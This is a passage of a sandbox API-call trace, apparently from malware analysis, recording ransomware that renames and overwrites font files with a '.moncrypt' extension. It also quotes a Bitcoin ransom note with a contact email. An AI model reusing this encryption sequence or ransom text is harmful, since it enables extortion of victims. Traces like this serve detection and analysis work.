lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.524] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.524] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.524] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.524] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.524] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.524] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.524] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0055.524] CloseHandle (hObject=0x18c) returned 1 [0055.524] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0055.524] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.524] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.524] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.524] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.524] GlobalUnlock (hMem=0x440004) returned 0 [0055.525] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.525] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.525] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.525] GlobalUnlock (hMem=0x440004) returned 0 [0055.525] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.525] GlobalUnlock (hMem=0x44000c) returned 0 [0055.525] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.525] CharLowerBuffW (in: lpsz="EXTFONT.SHX", cchLength=0xb | out: lpsz="extfont.shx") returned 0xb [0055.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.525] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0055.525] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX", lpUsedDefaultChar=0x0) returned 77 [0055.526] CharLowerBuffW (in: lpsz=".SHX", cchLength=0x4 | out: lpsz=".shx") returned 0x4 [0055.526] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".shx", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".shxShared\\Visio Shared\\Fonts\\EXTFONT.SHX", lpUsedDefaultChar=0x0) returned 4 [0055.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 0x54e240 [0055.526] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0055.526] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0055.526] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX", dwFileAttributes=0x20) returned 1 [0055.527] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0055.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.moncrypt")) returned 1 [0055.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.528] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.528] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x6a9e6 [0055.528] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0055.528] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0055.530] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.530] GlobalLock (hMem=0x440004) returned 0x55bb88 [0055.530] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0055.530] GlobalUnlock (hMem=0x440004) returned 0 [0055.530] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0055.530] GlobalLock (hMem=0x440004) returned 0x55bb88 [0055.530] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0055.530] GlobalUnlock (hMem=0x440004) returned 0 [0055.530] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0055.531] GlobalLock (hMem=0x440004) returned 0x55bb88 [0055.531] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.531] GlobalUnlock (hMem=0x44000c) returned 0 [0055.531] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0055.531] GlobalUnlock (hMem=0x440004) returned 0 [0055.531] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.531] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.531] GlobalUnlock (hMem=0x440004) returned 0 [0055.531] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0055.531] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.531] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.531] GlobalUnlock (hMem=0x440004) returned 0 [0055.531] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0055.531] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0055.532] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0055.532] SetFilePointer (in: hFile=0x18c, lDistanceToMove=436710, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x6a9e6 [0055.532] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0055.534] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0055.534] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0055.545] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0055.545] CloseHandle (hObject=0x18c) returned 1 [0055.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\extfont.shx.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.558] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0055.558] CloseHandle (hObject=0x18c) returned 1 [0055.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\EXTFONT.SHX.moncrypt", dwFileAttributes=0x20) returned 1 [0055.558] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0055.558] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.558] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.558] GlobalUnlock (hMem=0x440004) returned 0 [0055.558] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.559] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.559] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.559] GlobalUnlock (hMem=0x440004) returned 0 [0055.559] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.559] GlobalUnlock (hMem=0x44000c) returned 0 [0055.559] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0055.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42429200, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x42429200, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42429200, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0055.559] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0055.559] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0055.559] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0055.559] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.559] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.559] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.559] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.560] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0055.560] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0055.560] ReadFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0055.560] CloseHandle (hObject=0x18c) returned 1 [0055.560] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0055.560] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.560] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.560] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.560] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.560] GlobalUnlock (hMem=0x44000c) returned 0 [0055.560] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.560] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.560] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.560] GlobalUnlock (hMem=0x44000c) returned 0 [0055.560] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.560] GlobalUnlock (hMem=0x440004) returned 0 [0055.560] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.561] CharLowerBuffW (in: lpsz="GBCBIG.SHX", cchLength=0xa | out: lpsz="gbcbig.shx") returned 0xa [0055.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.561] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0055.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX", cchWideChar=76, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHXp", lpUsedDefaultChar=0x0) returned 76 [0055.561] CharLowerBuffW (in: lpsz=".SHX", cchLength=0x4 | out: lpsz=".shx") returned 0x4 [0055.561] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".shx", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".shxShared\\Visio Shared\\Fonts\\GBCBIG.SHXp", lpUsedDefaultChar=0x0) returned 4 [0055.561] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 0x54e240 [0055.561] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0055.561] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0055.562] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0055.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX", dwFileAttributes=0x20) returned 1 [0055.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0055.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\gbcbig.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\GBCBIG.SHX.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio 